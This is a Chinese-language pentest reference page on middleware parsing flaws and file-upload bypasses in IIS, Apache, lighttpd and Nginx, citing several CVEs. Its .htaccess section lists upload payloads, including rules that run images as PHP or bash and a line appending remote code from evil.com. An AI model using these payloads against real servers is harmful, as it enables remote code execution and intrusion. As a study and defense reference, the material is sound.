4.15. 中间件

    技术2026-01-09  11

    内容索引:

    4.15. 中间件4.15.1. IIS4.15.1.1. IIS 6.04.15.1.2. IIS 7.0-7.5 / Nginx <= 0.8.374.15.1.3. PUT漏洞4.15.1.4. Windows特性4.15.1.5. 文件名猜解4.15.1.6. 参考链接 4.15.2. Apache4.15.2.1. 后缀解析4.15.2.2. .htaccess4.15.2.3. 目录遍历4.15.2.4. CVE-2017-157154.15.2.5. lighttpd4.15.2.6. 参考链接 4.15.3. Nginx4.15.3.1. Fast-CGI关闭4.15.3.2. Fast-CGI开启4.15.3.3. CVE-2013-45474.15.3.4. 配置错误4.15.3.4.1. 目录穿越4.15.3.4.2. 目录遍历 4.15.3.5. 参考链接

    4.15. 中间件

    4.15.1. IIS

    4.15.1.1. IIS 6.0

    后缀解析 /xx.asp;.jpg

    服务器默认不解析;号及其后面的内容,相当于截断。

    目录解析 /xx.asp/xx.jpg (xx.asp目录下任意解析)

    默认解析 xx.asa xx.cer xx.cdx

    PROPFIND 栈溢出漏洞

    RCE CVE-2017-7269

    4.15.1.2. IIS 7.0-7.5 / Nginx <= 0.8.37

    在Fast-CGI开启状态下,在文件路径后加上 /xx.php,即 xx.jpg/xx.php会被解析为php文件。

    4.15.1.3. PUT漏洞

    开启WebDAV拥有来宾用户,且来宾用户拥有上传权限可任意文件上传

    4.15.1.4. Windows特性

    Windows不允许空格和点以及一些特殊字符作为结尾,创建这样的文件会自动重命名,所以可以使用 xx.php[空格],xx.php.,xx.php/,xx.php::$DATA上传脚本文件。

    4.15.1.5. 文件名猜解

    在支持NTFS 8.3文件格式时,可利用短文件名猜解目录文件。其中短文件名特征如下:

    文件名为原文件名前6位字符加上 ~1 ,其中数字部分是递增的,如果存在前缀相同的文件,则后面的数字进行递增。后缀名不超过3位,超过部分会被截断所有小写字母均转换成大写的字母文件名后缀长度大于等于4或者总长度大于等于9时才会生成短文件名,如果包含空格或者其他部分特殊字符,则无视长度条件

    IIS 8.0之前的版本支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种,需要安装ASP.NET。而IIS 8.0之后的版本只能通过OPTIONS和TRACE方法猜测成功,但是没有ASP.NET的限制。

    这种方法的局限性在于:

    文件夹名前6位字符带点”.”,扫描程序会认为是文件而不是文件夹,最终出现误报不支持中文文件名

    这种方法可以通过命令fsutil behavior set disable8dot3 1关闭NTFS 8.3文件格式的支持来修复。

    4.15.1.6. 参考链接

    利用Windows特性高效猜测目录Uploading web.config for Fun and Profit 2

    4.15.2. Apache

    4.15.2.1. 后缀解析

    test.php.x1.x2.x3( x1,x2,x3 为没有在 mime.types 文件中定义的文件类型)。Apache 将从右往左开始判断后缀, 若x3为非可识别后缀,则判断x2,直到找到可识别后缀为止,然后对可识别后缀进行解析

    4.15.2.2. .htaccess

    当AllowOverride被启用时,上传启用解析规则的.htaccess

    AddType application/x-httpd-php .jpg

    php_value auto_append_file .htaccess #<?php phpinfo();

    Options ExecCGI AddHandler cgi-script .jpg

    Options +ExecCGI AddHandler fcgid-script .gif FcgidWrapper “/bin/bash” .gif

    php_flag allow_url_include 1 php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw== #php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B #php_value auto_append_file https://evil.com/evil-code.txt

    4.15.2.3. 目录遍历

    配置 Options +Indexes时Apache存在目录遍历漏洞。

    4.15.2.4. CVE-2017-15715

    %0A 绕过上传黑名单。

    4.15.2.5. lighttpd

    xx.jpg/xx.php

    4.15.2.6. 参考链接

    Apache 上传绕过

    4.15.3. Nginx

    4.15.3.1. Fast-CGI关闭

    在Fast-CGI关闭的情况下, Nginx 仍然存在解析漏洞: 在文件路径(xx.jpg)后面加上 %00.php, 即 xx.jpg%00.php 会被当做 php 文件来解析

    4.15.3.2. Fast-CGI开启

    在Fast-CGI开启状态下,在文件路径后加上 /xx.php ,则 xx.jpg/xx.php 会被解析为php文件

    4.15.3.3. CVE-2013-4547

    a.jpg\x20\x00.php

    4.15.3.4. 配置错误

    4.15.3.4.1. 目录穿越

    如果配置中存在类似location /foo { alias /bar/; }的配置时,/foo../会被解析为 /bar/../从而导致目录穿越的发生。

    4.15.3.4.2. 目录遍历

    配置中 autoindex on 开启时,Nginx中存在目录遍历漏洞。

    4.15.3.5. 参考链接

    CVE-2013-4547 Nginx解析漏洞深入利用及分析
    Processed: 0.025, SQL: 10